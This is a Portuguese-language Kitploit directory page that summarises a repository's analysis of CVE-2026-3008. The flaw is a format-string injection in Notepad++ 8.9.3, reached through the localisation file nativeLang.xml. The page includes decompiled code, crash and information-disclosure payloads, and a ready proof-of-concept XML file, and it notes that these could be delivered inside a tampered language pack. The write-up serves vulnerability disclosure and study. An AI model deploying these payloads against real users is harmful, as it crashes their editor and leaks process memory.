Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3008 — Análise técnica e prova de conceito para CVE-2026-3008, uma injeção de string de formato no Notepad++ 8.9.3 via nativeLang.xml, permitindo negação de serviço e divulgação de informações. | Kitploit
Ferramentas/GitHubGitHub/llgsjsm/cve-2026-3008
Análise de VulnerabilidadesExploraçãoSegurança WebAnálise de MalwareAnálise de Binários
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

Análise técnica e prova de conceito para CVE-2026-3008, uma injeção de string de formato no Notepad++ 8.9.3 via nativeLang.xml, permitindo negação de serviço e divulgação de informações.

Ver Repositório
há 4 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-3008 — Injeção de String de Formatação no Notepad++ 8.9.3 via nativeLang.xml

Vulnerabilidade

Quando uma operação de pesquisa produz resultados, sub_1400916C0 formata um rótulo de contagem de ocorrências recuperando uma string localizada de nativeLang.xml e passando-a diretamente como string de formatação para wsprintfW:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // obter string localizada
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: ponteiro de heap
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 é a string de formatação

A string tem origem no atributo <find-result-hits> em nativeLang.xml, sem validação em nenhum ponto do fluxo de dados:

root@kitploit:~
nativeLang.xml
  → Parser TinyXML          (lê o atributo XML, sem validação de conteúdo)
  → NativeLangSpeaker       (conversão UTF-8 → UTF-16, sem validação)
  → sub_140099E60           (substituição $INT_REPLACE$ — especificadores de formato sobrevivem)
  → wsprintfW(buf, v38)     (v38 usado como argumento de string de formatação, não como dado)

wsprintfW é chamado com apenas dois argumentos — sem argumentos de dados variádicos. Quaisquer especificadores de formato em v38 leem valores dos slots de argumentos da convenção de chamada x64 (R8, R9, pilha), que contêm lixo de registradores remanescente.


Componente Afetado

CampoValor
Funçãosub_1400916C0 (inicializador do painel de resultados de pesquisa)
Endereço do sink0x140091E6D
GatilhoQualquer pesquisa que produza resultados (Localizar Tudo, Localizar em Arquivos, Marcar Tudo, Substituir Tudo)

sub_1400916C0 é chamada a partir de quatro locais no WndProc do FindResults (sub_140089BF0):

EndereçoGatilho
0x14008B63BLocalizar em Arquivos
0x14008B72DLocalizar Tudo no Documento Atual / Todos os Documentos
0x14008B97ESubstituir Tudo
0x14008B9FEMarcar Tudo

Impacto

Falha — %s (DoS)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

Cada %s interpreta um valor de registrador ou pilha inválido como um ponteiro WCHAR*. O primeiro endereço inválido dispara uma violação de acesso imediata (STATUS_ACCESS_VIOLATION, 0xC0000005). O Notepad++ falha em toda pesquisa subsequente até que o arquivo malicioso seja removido — DoS confiável e de disparo único.

Divulgação de Informações — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

O conteúdo da pilha e dos registradores é lido como valores DWORD e formatado em hexadecimal, visível na aba do painel de resultados de pesquisa. Saída observada em teste ao vivo:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

Valores como 5852bb18 e 7b1052e0 são fragmentos truncados de ponteiros de 64 bits.

Limite de Exploração

wsprintfW (user32.dll) não suporta %n — não há primitiva de escrita-onde-quiser. Seu limite de saída fixo de 1024 caracteres corresponde exatamente ao tamanho do buffer de destino, descartando estouro de buffer no heap. A vulnerabilidade é confirmada como DoS + divulgação de informações. A execução de código não é alcançável apenas por meio desta string de formatação.


Vetor de Ataque

nativeLang.xml não existe por padrão — instalações em inglês não são afetadas. Quando um usuário seleciona um idioma não inglês via Configurações → Preferências → Geral → Localização, o Notepad++ grava o arquivo correspondente em:

EdiçãoCaminho
Instalador%APPDATA%\Notepad++\nativeLang.xml
Portátil<diretório_npp>\nativeLang.xml

Dos 94 arquivos de localização fornecidos, 43 contêm o elemento <find-result-hits>. Usuários desses idiomas estão vulneráveis se seu nativeLang.xml for adulterado — por exemplo, por meio de um pacote de idiomas da comunidade malicioso distribuído em fóruns ou sites de download. O atacante pode incluir traduções legítimas para todas as outras strings, fazendo o arquivo parecer normal.


Prova de Conceito

Coloque o seguinte arquivo em <diretório_npp>\nativeLang.xml (portátil) ou %APPDATA%\Notepad++\nativeLang.xml (instalador) e, em seguida, abra o Notepad++ e realize qualquer pesquisa que produza resultados (Ctrl+F → Localizar Tudo no Documento Atual).

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

Resultado: O Notepad++ falha imediatamente com uma violação de acesso em wsprintfW.

Variantes adicionais de payload estão no diretório payloads/.

Baixar ferramenta